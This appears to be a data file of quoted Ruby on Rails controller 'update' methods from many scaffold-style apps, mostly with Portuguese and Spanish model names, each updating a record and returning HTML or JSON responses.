"def update\n @orgao = Orgao.find(params[:id])\n\n params[:orgao][:tipo_atendimento_ids] ||= []\n respond_to do |format|\n if @orgao.update_attributes(params[:orgao])\n\t\tformat.html { redirect_to @orgao, notice: \"Local de atendimento: #{@orgao.nome}, foi atualizado com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @orgao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Tipo\n respond_to do |format|\n if @tipo.update(tipo_params)\n format.html { redirect_to tipos_path, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos de la nómina fueron actualizados exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoapreensao.update(tipoapreensao_params)\n format.html { redirect_to @tipoapreensao, notice: 'Tipoapreensao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoapreensao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, Concepto\n if params[:concepto][:tipo_ids]\n params[:concepto][:tipo_ids] = params[:concepto][:tipo_ids].map { |k, _v| k }\n else\n params[:concepto][:tipo_ids] = []\n end\n\n respond_to do |format|\n if @concepto.update(concepto_params)\n\n\n format.html { redirect_to @concepto, notice: '<i class=\"fa fa-check-square fa-lg\"></i> Los datos del concepto fueron actualizados exitosamente.' }\n format.json { render :show, status: :ok, location: @concepto }\n else\n format.html { render :edit } if params[:concepto][:tipo_ids]\n format.json { render json: @concepto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_aposta.update(tipo_aposta_params)\n format.html { redirect_to @tipo_aposta, notice: 'Tipo aposta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_aposta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_aposta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @persona_tipo = PersonaTipo.find(params[:id])\n\n respond_to do |format|\n if @persona_tipo.update_attributes(params[:persona_tipo])\n format.html { redirect_to @persona_tipo, notice: 'Tipo de participante actualizado correctamente.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @persona_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @solicitacao_tipo.update(solicitacao_tipo_params)\n format.html { redirect_to @solicitacao_tipo, notice: 'Solicitacao tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @solicitacao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_atendimento = TipoAtendimento.find(params[:id])\n\n respond_to do |format|\n if @tipo_atendimento.update_attributes(params[:tipo_atendimento])\n format.html { redirect_to @tipo_atendimento, notice: \"Tipo de atendimento: #{@tipo_atendimento.descricao}, foi atualizado com sucesso.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_atendimento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_convenio = TipoConvenio.find(params[:id])\n\n respond_to do |format|\n if @tipo_convenio.update_attributes(params[:tipo_convenio])\n format.html { redirect_to @tipo_convenio, notice: 'Tipo convenio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_convenio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_negocio = TipoNegocio.find(params[:id])\n\n respond_to do |format|\n if @tipo_negocio.update_attributes(params[:tipo_negocio])\n format.html { redirect_to @tipo_negocio, notice: 'Tipo negocio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_negocio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n activo = params[:lab_far][:activo]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n LabFar.where(laboratorio_id: id, farmacium_id:farmacia_id).update_all(activo: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n #parametros_autocomplete!(params[:estudiante][:persona])\n @estudiante = Estudiante.find(params[:id])\n \n begin\n @estudiante.persona_id = params[:persona][:id]\n rescue\n end\n\n respond_to do |format|\n if @estudiante.update_attributes(params[:estudiante])\n format.html { redirect_to @estudiante, notice: 'Estudiante actualizado' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @estudiante.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(tipo_referencia_base_params)\n format.html { redirect_to @objeto, notice: \"Tipo referencia base was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recurso = Recurso.find(params[:id])\n\n respond_to do |format|\n if @recurso.update_attributes(params[:recurso])\n format.html { redirect_to @recurso, notice: 'O recurso de auto de infração foi atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recurso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asiento = Asiento.find(params[:id])\n\n respond_to do |format|\n if @asiento.update_attributes(params[:asiento])\n format.html { redirect_to @asiento, :notice => 'El apunte fue cambiado.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @asiento.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_venda.update(tipo_venda_params)\n format.html { redirect_to @tipo_venda, notice: 'Tipo venda was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_venda }\n else\n format.html { render :edit }\n format.json { render json: @tipo_venda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_comunicacao.update(tipo_comunicacao_params)\n format.html { redirect_to @tipo_comunicacao, notice: 'Tipo comunicacao was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_comunicacao }\n else\n format.html { render :edit }\n format.json { render json: @tipo_comunicacao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tapioca.update(tapioca_params)\n format.html { redirect_to @tapioca, notice: 'Tapioca was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tapioca.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n \n @lancamentorapido = Lancamentorapido.find(params[:id]) \n \n #Validações padrão\n @lancamentorapido.tipo = :receita if @lancamentorapido.tipo.blank?\n @lancamentorapido.valor = 0 if @lancamentorapido.valor.blank? \n \n\n respond_to do |format|\n if @lancamentorapido.update_attributes(params[:lancamentorapido])\n format.html { redirect_to lancamentorapidos_path, notice: 'Lancamento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @lancamentorapido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activo = Activo.find(params[:id])\n \n respond_to do |format|\n if @activo.update_attributes(params[:activo])\n format.html { redirect_to(@activo, :notice => 'Activo was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activo.update(activo_params)\n format.html { redirect_to @activo, notice: 'Activo was successfully updated.' }\n format.json { render :show, status: :ok, location: @activo }\n else\n format.html { render :edit }\n format.json { render json: @activo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_usuario = TipoUsuario.find(params[:id])\n\n respond_to do |format|\n if @tipo_usuario.update_attributes(params[:tipo_usuario])\n format.html { redirect_to @tipo_usuario, notice: 'Tipo usuario fue actualizado existosamente.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_usuario.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_alerta = TipoAlerta.find(params[:id])\n\n respond_to do |format|\n if @tipo_alerta.update_attributes(params[:tipo_alerta])\n format.html { redirect_to @tipo_alerta, notice: 'Tipo alerta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_alerta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pro_farm_update\n respond_to do |format|\n activo = params[:pro_far][:activo_produc]\n farmacia_id = session[:farmacia_id]\n id = params[:id]\n ProFar.where(producto_id: id, farmacium_id:farmacia_id).update_all(activo_produc: activo )\n msg = { :status => \"ok\", :message => \"Actualizado!\" }\n format.json { render :json => msg }\n end\n end",
"def update\n @agenda_type = AgendaType.find(params[:id])\n\n respond_to do |format|\n if @agenda_type.update_attributes(params[:agenda_type])\n format.html { redirect_to @agenda_type, :notice => 'Agenda type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @agenda_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @status_confirmacao_adotando = StatusConfirmacaoAdotando.find(params[:id])\n\n respond_to do |format|\n if @status_confirmacao_adotando.update_attributes(params[:status_confirmacao_adotando])\n format.html { redirect_to @status_confirmacao_adotando, notice: 'Status confirmacao adotando was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_confirmacao_adotando.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @evolucao_tipo.update(evolucao_tipo_params)\n format.html { redirect_to @evolucao_tipo, notice: 'Evolucao tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @evolucao_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @serv_adicionale = ServAdicionale.find(params[:id])\n\n respond_to do |format|\n if @serv_adicionale.update_attributes(params[:serv_adicionale])\n format.html { redirect_to @serv_adicionale, notice: 'Serv adicionale was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @serv_adicionale.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_servicio.update(tipo_de_servicio_params)\n format.html { redirect_to @tipo_de_servicio, notice: 'Tipo de servicio was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_servicio }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_servicio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @atracao = Atracao.find(params[:id])\n\n respond_to do |format|\n if @atracao.update_attributes(params[:atracao])\n format.html { redirect_to @atracao, :notice => 'Atracao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @atracao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_documento = TipoDocumento.find(params[:id])\n\n respond_to do |format|\n if @tipo_documento.update_attributes(params[:tipo_documento])\n format.html { redirect_to @tipo_documento, notice: 'Tipo documento was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_documento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_conta = TipoConta.find(params[:id])\n\n respond_to do |format|\n if @tipo_conta.update_attributes(params[:tipo_conta])\n flash[:notice] = 'TipoConta was successfully updated.'\n format.html { redirect_to(tipo_contas_path) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_conta.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_persona.update(tipo_persona_params)\n format.html { redirect_to @tipo_persona, notice: 'Tipo persona was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_persona }\n else\n format.html { render :edit }\n format.json { render json: @tipo_persona.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_imposto.update(tipo_de_imposto_params)\n format.html { redirect_to @empresa, notice: 'Tipo de imposto actualizado com sucesso.' }\n format.json { render :show, status: :ok, location: @tipo_de_imposto }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_imposto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_vehiculo = TipoVehiculo.find(params[:id])\n\n respond_to do |format|\n if @tipo_vehiculo.update_attributes(params[:tipo_vehiculo])\n format.html { redirect_to @tipo_vehiculo, notice: 'Tipo vehiculo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_vehiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @core_status_selo_fiscal_tipo = Core::StatusSeloFiscalTipo.find(params[:id])\n\n respond_to do |format|\n if @core_status_selo_fiscal_tipo.update_attributes(params[:core_status_selo_fiscal_tipo])\n format.html { redirect_to @core_status_selo_fiscal_tipo, notice: 'Status selo fiscal tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_status_selo_fiscal_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ativo_outro = AtivoOutro.find(params[:id])\n\n respond_to do |format|\n if @ativo_outro.update_attributes(params[:ativo_outro])\n format.html { redirect_to @ativo_outro, notice: 'Ativo foi salvo com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ativo_outro.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_nota = TipoNota.find(params[:id])\n\n respond_to do |format|\n if @tipo_nota.update_attributes(params[:tipo_nota])\n format.html { redirect_to(@tipo_nota, :notice => 'TipoNota was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_nota.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @admission_type = AdmissionType.find(params[:id])\n\n respond_to do |format|\n if @admission_type.update_attributes(params[:admission_type])\n format.html { redirect_to @admission_type, :notice => 'Tipo de Ingressso atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @admission_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @apuesta_detail = ApuestaDetail.find(params[:id])\n\n respond_to do |format|\n if @apuesta_detail.update_attributes(params[:apuesta_detail])\n format.html { redirect_to @apuesta_detail, notice: 'Apuesta detail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @apuesta_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n pai = params[:pai] ? Conta.find_by_id(params[:pai]): nil\n \n respond_to do |format|\n if @conta.update(nome: conta_params[:nome], status: conta_params[:status], pai: pai) \n #format.json { render :show, status: :ok, location: @conta }\n format.json { render json: @conta.to_json, status: :ok }\n else \n format.json { render json: @conta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @categorias_tipo = CatTipo.find(params[:id])\n\n respond_to do |format|\n if @categorias_tipo.update_attributes(params[:cat_tipo])\n \t\tcategories = @categorias_tipo.update_attributes(:tipo_acc_ids =>params[:tipo_accs])\n\t\t\t\t@categorias_tipo.update_attributes(:estado_ids =>params[:estados])\n format.html { redirect_to cat_tipos_path, notice: 'Categorias tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @categorias_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipoenvolvido.update(tipoenvolvido_params)\n format.html { redirect_to @tipoenvolvido, notice: 'Tipoenvolvido was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipoenvolvido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @itemtipo = Itemtipo.find(params[:id])\n\n if @itemtipo.update(itemtipo_params)\n head :no_content\n else\n render json: @itemtipo.errors, status: :unprocessable_entity\n end\n end",
"def update\n @tipo_contrato = TipoContrato.find(params[:id])\n respond_to do |format|\n if @tipo_contrato.update_attributes(params[:tipo_contrato])\n flash[:notice] = 'TiposContratos actualizado correctamente.'\n format.html { redirect_to(@tipo_contrato) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_contrato.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @cooperativa = Cooperativa.find(params[:id])\n\n respond_to do |format|\n if @cooperativa.update_attributes(params[:cooperativa])\n format.html { redirect_to [:admin, @cooperativa], :notice => 'Exemplo was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @cooperativa.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @status_de_la_inscripcion = StatusDeLaInscripcion.find(params[:id])\n\n respond_to do |format|\n if @status_de_la_inscripcion.update_attributes(params[:status_de_la_inscripcion])\n format.html { redirect_to @status_de_la_inscripcion, notice: 'Status de la inscripcion was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_de_la_inscripcion.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @servicio = Servicio.find(params[:id])\n\n respond_to do |format|\n if @servicio.update_attributes(params[:servicio])\n format.html { redirect_to @servicio, :notice => 'Servicio was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @servicio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @actividad.update(actividad_params)\n format.html { redirect_to @actividad, notice: 'Actividad was successfully updated.' }\n format.json { render :show, status: :ok, location: @actividad }\n else\n format.html { render :edit }\n format.json { render json: @actividad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_compra.update(tipo_compra_params)\n format.html { redirect_to @tipo_compra, notice: 'Tipo compra was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_compra }\n else\n format.html { render :edit }\n format.json { render json: @tipo_compra.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @status_del_admitido = StatusDelAdmitido.find(params[:id])\n\n respond_to do |format|\n if @status_del_admitido.update_attributes(params[:status_del_admitido])\n format.html { redirect_to @status_del_admitido, notice: 'Status del admitido was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status_del_admitido.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @realiza = Realiza.find(params[:id])\n @pagamento=Pagamento.new(:servico_id=>@realiza.servico_id,:cliente_id=>@realiza.cliente_id,:valor=>@realiza.servico.preco,\n :formapagamentoe_id=>params[:pagamento])\n respond_to do |format|\n if @realiza.update_attributes(params[:realiza]) and @pagamento.save\n format.html { redirect_to @realiza, notice: 'Realiza was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @realiza.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @activite = Activite.find(params[:id])\n\n \n respond_to do |format|\n if @activite.update_attributes(params[:activite])\n format.html { redirect_to(@activite, :notice => 'Activite was successfully updated.') }\n format.xml { head :ok }\n format.json {render :json => {\"success\"=>true,\"data\"=>@activite}}\n \n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @activite.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_tel = TipoTel.find(params[:id])\n\n respond_to do |format|\n if @tipo_tel.update_attributes(params[:tipo_tel])\n format.html { redirect_to @tipo_tel, notice: 'Tipo tel was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tipo_tel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_veiculo.update(tipo_veiculo_params)\n format.html { redirect_to @tipo_veiculo, notice: 'Tipo veiculo was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_veiculo }\n else\n format.html { render :edit }\n format.json { render json: @tipo_veiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_despesa.update(tipo_despesa_params)\n format.html { redirect_to tenant_tipo_despesas_path(tenant_id: @tenant.id), notice: 'Tipo despesa was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_despesa }\n else\n format.html { render :edit }\n format.json { render json: @tipo_despesa.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_unidad.update(tipo_unidad_params)\n format.html { redirect_to @tipo_unidad, notice: 'Tipo unidad was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @tipo_unidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_iva = TipoIva.find(params[:id])\n\n respond_to do |format|\n if @tipo_iva.update_attributes(params[:tipo_iva])\n flash[:notice] = 'TipoIva was successfully updated.'\n format.html { redirect_to(@tipo_iva) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @tipo_iva.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ativo.update(ativo_params)\n format.html { redirect_to @ativo, notice: \"#{type} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @ativo }\n else\n format.html { render :edit }\n format.json { render json: @ativo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(cita_params)\n format.html { redirect_to @objeto, notice: \"Cita was successfully updated.\" }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_orden.update(tipo_orden_params)\n format.html { redirect_to @tipo_orden, notice: 'Tipo orden was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_orden }\n else\n format.html { render :edit }\n format.json { render json: @tipo_orden.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tecnico = Tecnico.find(params[:id])\n\n respond_to do |format|\n if @tecnico.update_attributes(params[:tecnico])\n format.html { redirect_to @tecnico, notice: 'Tecnico atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tecnico.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @objeto.update(etiqueta_params)\n format.html { redirect_to @objeto, notice: 'Etiqueta was successfully updated.' }\n format.json { render :show, status: :ok, location: @objeto }\n else\n format.html { render :edit }\n format.json { render json: @objeto.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tiposveiculo.update(tiposveiculo_params)\n format.html { redirect_to tiposveiculos_url, notice: 'Tipo de Veículo editado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render :edit }\n format.json { render json: @tiposveiculo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n unless possui_acesso?()\n return\n end\n @aviso = Aviso.find(params[:id])\n\n respond_to do |format|\n if @aviso.update_attributes(params[:aviso])\n format.html { redirect_to @aviso, notice: 'Aviso was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @aviso.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @demanda = Demanda.find(params[:id])\n\n respond_to do |format|\n if @demanda.update_attributes(params[:demanda])\n if @demanda.tipo_demanda == '1' || @demanda.tipo_demanda == 1\n format.html { redirect_to \"/consultas/list/1\", :notice => 'Consulta atualizada com sucesso.'}\n format.json { head :no_content }\n elsif @demanda.tipo_demanda == '2' || @demanda.tipo_demanda == 2\n format.html { redirect_to \"/consultas/list/2\", :notice => 'Levantamento atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { redirect_to \"/consultas/list/3\", :notice => 'Flagrante atualizado com sucesso.' }\n format.json { head :no_content }\n end\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @demanda.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if (Servicio.where(id: especialidad_params[:servicio_id]).select(:enable).first.enable)\n if @especialidad.update(especialidad_params)\n format.html { redirect_to @especialidad, notice: 'Servicio actualizado exitosamente.' }\n format.json { render :show, status: :ok, location: @especialidad }\n else\n format.html { render :edit }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :edit }\n format.json { render json: @especialidad.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @paciente = Paciente.find(params[:id])\n #verificar se existe atendimento cadastrado para o paciente\n #@atendimentos=Atendimento.find_all_by_paciente_id(params[:paciente_id])\n #if @atendimentos.empty?\n # @atendimento=Atendimento.new()\n # @atendimento.paciente_id=@paciente.id\n # @atendimento.save\n #else\n # @atendimento.update_attributes(params[:paciente_id])\n #end\n respond_to do |format|\n if @paciente.update_attributes(params[:paciente]) \n format.html { redirect_to pacientes_path, notice: 'Paciente atualizado com sucesso.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @paciente.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @venta = Venta.find(params[:id])\n\n respond_to do |format|\n if @venta.update_attributes(params[:venta])\n format.html { redirect_to @venta, notice: 'Venta was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @venta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @title_view = 'Tipo de Denuncias'\n @request_and_complaint_complaint_type = RequestAndComplaint::ComplaintType.find(params[:id])\n\n respond_to do |format|\n if @request_and_complaint_complaint_type.update_attributes(params[:request_and_complaint_complaint_type])\n format.html { redirect_to(@request_and_complaint_complaint_type, :notice => 'Complaint type was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @request_and_complaint_complaint_type.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_de_imovel.update(tipo_de_imovel_params)\n format.html { redirect_to @tipo_de_imovel, notice: 'Tipo de imovel was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_de_imovel }\n else\n format.html { render :edit }\n format.json { render json: @tipo_de_imovel.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @core_tipo_unidade = Core::TipoUnidade.find(params[:id])\n\n respond_to do |format|\n if @core_tipo_unidade.update_attributes(params[:core_tipo_unidade])\n format.html { redirect_to @core_tipo_unidade, notice: 'Tipo unidade was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @core_tipo_unidade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @agenda.update(agenda_params)\n format.html { redirect_to @agenda, notice: 'Agenda was successfully updated.' }\n format.json { head :no_content }\n else\n @cidades = Cidade.order('cidade ASC')\n format.html { render action: 'edit' }\n format.json { render json: @agenda.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @cargo_eleicao = CargoEleicao.find(params[:id])\n\n respond_to do |format|\n if @cargo_eleicao.update_attributes(params[:cargo_eleicao])\n format.html { redirect_to @cargo_eleicao, notice: 'Cargo eleicao was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cargo_eleicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @denuncia_tipo = DenunciaTipo.find(params[:id])\n\n respond_to do |format|\n if @denuncia_tipo.update_attributes(params[:denuncia_tipo])\n format.html { redirect_to @denuncia_tipo, notice: 'Denuncia tipo was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @denuncia_tipo.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_cancha.update(tipo_cancha_params)\n format.html { redirect_to @tipo_cancha, notice: 'Tipo cancha was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_cancha }\n else\n format.html { render :edit }\n format.json { render json: @tipo_cancha.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @acao = Acao.find(params[:id])\n\n respond_to do |format|\n if @acao.update_attributes(params[:acao])\n format.html { redirect_to acao_url(@acao), notice: 'Acao atualizada.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @acao.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @servico_pacote.update(servico_pacote_params)\n format.html { redirect_to @servico_pacote, notice: 'Pacote was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @servico_pacote.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @activacionclientet.update(activacionclientet_params)\n format.html { redirect_to @activacionclientet, notice: 'Activacionclientet was successfully updated.' }\n format.json { render :show, status: :ok, location: @activacionclientet }\n else\n format.html { render :edit }\n format.json { render json: @activacionclientet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tipo_consulta.update(tipo_consulta_params)\n format.html { redirect_to @tipo_consulta, notice: 'Tipo consulta was successfully updated.' }\n format.json { render :show, status: :ok, location: @tipo_consulta }\n else\n format.html { render :edit }\n format.json { render json: @tipo_consulta.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tipo_pregunta = TipoPregunta.find(params[:id])\n\n if @tipo_pregunta.update(params[:tipo_pregunta])\n head :no_content\n else\n render json: @tipo_pregunta.errors, status: :unprocessable_entity\n end\n end",
